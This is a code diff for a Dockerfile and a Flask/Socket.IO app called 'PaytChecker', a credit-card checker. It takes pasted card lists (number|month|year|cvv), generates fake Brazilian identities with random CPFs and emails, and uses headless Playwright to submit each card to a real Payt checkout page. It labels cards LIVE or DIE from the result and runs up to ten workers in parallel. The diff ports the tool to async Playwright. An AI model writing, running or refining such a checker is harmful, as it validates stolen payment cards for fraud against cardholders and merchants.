Upload 4 files

Dockerfile

@@ -35,7 +35,7 @@ RUN apt-get update && apt-get install -y \
 ENV PLAYWRIGHT_BROWSERS_PATH=/usr/local/share/playwright
 WORKDIR /app
 
-# 3. Instalar dependências Python GLOBALMENTE para evitar problemas de PATH
+# 3. Instalar dependências Python GLOBALMENTE
 COPY requirements.txt .
 RUN pip install --no-cache-dir --upgrade pip && \
     pip install --no-cache-dir -r requirements.txt
@@ -43,7 +43,7 @@ RUN pip install --no-cache-dir --upgrade pip && \
 # 4. Instalar navegadores globalmente
 RUN playwright install chromium
 
-# 5. Configurar usuário não-root para execução (Segurança HF)
+# 5. Configurar usuário não-root para execução
 RUN useradd -m -u 1000 user && \
     chown -R user:user /app && \
     chmod -R 777 /usr/local/share/playwright
@@ -54,6 +54,5 @@ COPY --chown=user . .
 USER user
 EXPOSE 7860
 
-# Usar gunicorn com worker eventlet para garantir estabilidade no Hugging Face
-# Aumentado o timeout para 300s (5 minutos) para evitar quedas durante o uso do Playwright
-CMD ["gunicorn", "--worker-class", "eventlet", "-w", "1", "--timeout", "300", "--bind", "0.0.0.0:7860", "app:app"]
+# Rodar diretamente com python3 para suportar o loop assíncrono interno
+CMD ["python3", "app.py"]

app.py

@@ -1,16 +1,16 @@
-from flask import Flask, render_template, request
-from flask_socketio import SocketIO, emit
-from playwright.sync_api import sync_playwright
+import asyncio
 import random
 import time
 import re
 import requests
-import threading
+from flask import Flask, render_template, request
+from flask_socketio import SocketIO
+from playwright.async_api import async_playwright
 
 app = Flask(__name__, template_folder='templates', static_folder='static')
-app.config['SECRET_KEY'] = 'payt-checker-v2-secret'
-# Configuração otimizada para WebSockets e concorrência
-socketio = SocketIO(app, cors_allowed_origins="*", async_mode='eventlet')
+app.config['SECRET_KEY'] = 'payt-checker-v2-async'
+# No modo assíncrono, o SocketIO precisa de uma configuração específica
+socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
 
 class PaytChecker:
     def __init__(self, sid):
@@ -18,21 +18,10 @@ class PaytChecker:
         self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
         self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
 
-    def emit_log(self, type, badge, card, msg, slot=None, tempo=None):
-        socketio.emit('log', {
-            'type': type,
-            'badge': badge,
-            'card': card,
-            'msg': msg,
-            'slot': slot,
-            'tempo': tempo
-        }, room=self.sid)
-
-    def update_stats(self, stats):
-        socketio.emit('update_stats', stats, room=self.sid)
+    async def emit_to_client(self, event, data):
+        socketio.emit(event, data, room=self.sid)
 
     def gerar_dados(self):
-        # Tenta 4devs primeiro
         try:
             url = 'https://www.4devs.com.br/ferramentas_online.php'
             payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
@@ -53,23 +42,19 @@ class PaytChecker:
         primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
         sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
         nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
-        cpf = "".join([str(random.randint(0, 9)) for _ in range(11)]) # Simplificado para teste
+        cpf = "".join([str(random.randint(0, 9)) for _ in range(11)])
         email = f"{nome.split()[0].lower()}{random.randint(100, 999)}{random.choice(self.provedores_email)}"
         return {
-            'nome': nome,
-            'nome_cartao': nome.upper(),
-            'cpf': cpf,
-            'email': email,
+            'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf, 'email': email, 
             'telefone': f"119{random.randint(10000000, 99999999)}"
         }
 
-    def testar_cartao(self, cartao, slot, stats_container, total_cards):
+    async def testar_cartao(self, cartao, slot, stats_container):
         partes = cartao.split('|')
         if len(partes) != 4:
-            with stats_container['lock']:
-                stats_container['errors'] += 1
-                stats_container['checked'] += 1
-                self.update_stats(stats_container)
+            stats_container['errors'] += 1
+            stats_container['checked'] += 1
+            await self.emit_to_client('update_stats', stats_container)
             return
 
         numero, mes, ano, cvv = partes
@@ -77,44 +62,41 @@ class PaytChecker:
         dados = self.gerar_dados()
         inicio = time.time()
 
-        try:
-            with sync_playwright() as p:
-                browser = p.chromium.launch(headless=True, args=['--no-sandbox'])
-                context = browser.new_page()
+        async with async_playwright() as p:
+            try:
+                browser = await p.chromium.launch(headless=True, args=['--no-sandbox'])
+                page = await browser.new_page()
                 
-                socketio.emit('thread_status', {'id': slot, 'status': 'active', 'card': cartao}, room=self.sid)
+                await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao})
                 
-                context.goto(self.base_url, wait_until='domcontentloaded')
-                time.sleep(1)
+                await page.goto(self.base_url, wait_until='domcontentloaded')
+                await asyncio.sleep(1)
                 
-                context.fill('#full_name', str(dados['nome']))
-                context.fill('#email', str(dados['email']))
-                context.fill('#phone', str(dados['telefone']))
-                context.fill('#cpf_cnpj', str(dados['cpf']))
-                context.evaluate("window.scrollBy(0, 400)")
-                time.sleep(0.5)
-                context.fill('#cardNumber', str(numero))
-                context.fill('#cardName', str(dados['nome_cartao']))
-                context.fill('#cardDueDate', f"{mes}{ano}")
-                context.fill('#cardCvv', str(cvv))
+                await page.fill('#full_name', str(dados['nome']))
+                await page.fill('#email', str(dados['email']))
+                await page.fill('#phone', str(dados['telefone']))
+                await page.fill('#cpf_cnpj', str(dados['cpf']))
+                await page.evaluate("window.scrollBy(0, 400)")
+                await asyncio.sleep(0.5)
+                await page.fill('#cardNumber', str(numero))
+                await page.fill('#cardName', str(dados['nome_cartao']))
+                await page.fill('#cardDueDate', f"{mes}{ano}")
+                await page.fill('#cardCvv', str(cvv))
                 
-                # Clique no botão
                 btn_clicado = False
                 for sel in ['button:has-text("Confirmar Pagamento")', 'button[type="submit"]', '.btn-primary']:
-                    if context.locator(sel).count() > 0:
-                        context.locator(sel).first.click(force=True)
+                    if await page.locator(sel).count() > 0:
+                        await page.locator(sel).first.click(force=True)
                         btn_clicado = True
                         break
                 
-                if not btn_clicado:
-                    raise Exception("Botão não encontrado")
+                if not btn_clicado: raise Exception("Botão não encontrado")
 
-                # Captura Retorno
                 status, msg = "DIE", "Timeout"
                 for _ in range(60):
-                    time.sleep(1)
-                    body = context.locator('body').text_content().lower()
-                    if "obrigado" in context.url or "sucesso" in body:
+                    await asyncio.sleep(1)
+                    body = (await page.locator('body').text_content()).lower()
+                    if "obrigado" in page.url or "sucesso" in body:
                         status, msg = "LIVE", "Aprovado!"
                         break
                     
@@ -131,56 +113,59 @@ class PaytChecker:
 
                 tempo = round(time.time() - inicio, 1)
                 
-                with stats_container['lock']:
-                    if status == "LIVE":
-                        stats_container['lives'] += 1
-                        socketio.emit('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo}, room=self.sid)
-                    else:
-                        stats_container['dies'] += 1
-                    
-                    stats_container['checked'] += 1
-                    self.emit_log(status.lower(), status, cartao, msg, slot, tempo)
-                    self.update_stats(stats_container)
-                    socketio.emit('thread_status', {'id': slot, 'status': f'done-{status.lower()}', 'card': cartao}, room=self.sid)
+                if status == "LIVE":
+                    stats_container['lives'] += 1
+                    await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo})
+                else:
+                    stats_container['dies'] += 1
+                
+                stats_container['checked'] += 1
+                await self.emit_to_client('log', {'type': status.lower(), 'badge': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo})
+                await self.emit_to_client('update_stats', stats_container)
+                await self.emit_to_client('thread_status', {'id': slot, 'status': f'done-{status.lower()}', 'card': cartao})
                 
-                browser.close()
-        except Exception as e:
-            with stats_container['lock']:
+                await browser.close()
+            except Exception as e:
                 stats_container['errors'] += 1
                 stats_container['checked'] += 1
-                self.emit_log('erro', 'ERROR', cartao, str(e), slot)
-                self.update_stats(stats_container)
-                socketio.emit('thread_status', {'id': slot, 'status': 'done-err', 'card': cartao}, room=self.sid)
+                await self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot})
+                await self.emit_to_client('update_stats', stats_container)
+                await self.emit_to_client('thread_status', {'id': slot, 'status': 'done-err', 'card': cartao})
+                if 'browser' in locals(): await browser.close()
 
 @app.route('/')
 def index():
     return render_template('index.html')
 
-@socketio.on('start_process')
-def handle_start(data):
-    cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
-    threads_count = min(int(data['threads']), 10)
-    sid = request.sid
-    
-    stats = {
-        'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 
-        'total': len(cards), 'lock': threading.Lock()
-    }
+def run_async_checker(cards, threads_count, sid):
+    loop = asyncio.new_event_loop()
+    asyncio.set_event_loop(loop)
     
+    stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)}
     checker = PaytChecker(sid)
-    socketio.emit('set_ui', {'on': True}, room=sid)
     
-    def worker(card_list, slot_id):
+    async def worker(card_list, slot_id):
         for card in card_list:
-            checker.testar_cartao(card, slot_id, stats, len(cards))
-            time.sleep(1)
+            await checker.testar_cartao(card, slot_id, stats)
+            await asyncio.sleep(0.5)
         socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
 
-    # Distribuição de cards por thread
     chunks = [cards[i::threads_count] for i in range(threads_count)]
-    for i, chunk in enumerate(chunks):
-        if chunk:
-            threading.Thread(target=worker, args=(chunk, i)).start()
+    tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk]
+    
+    loop.run_until_complete(asyncio.gather(*tasks))
+    socketio.emit('process_complete', stats, room=sid)
+    loop.close()
+
+@socketio.on('start_process')
+def handle_start(data):
+    cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
+    threads_count = min(int(data['threads']), 10)
+    sid = request.sid
+    socketio.emit('set_ui', {'on': True}, room=sid)
+    # Roda o loop assíncrono em uma thread separada para não travar o Flask
+    import threading
+    threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start()
 
 if __name__ == '__main__':
-    socketio.run(app, host='0.0.0.0', port=7860)
+    socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)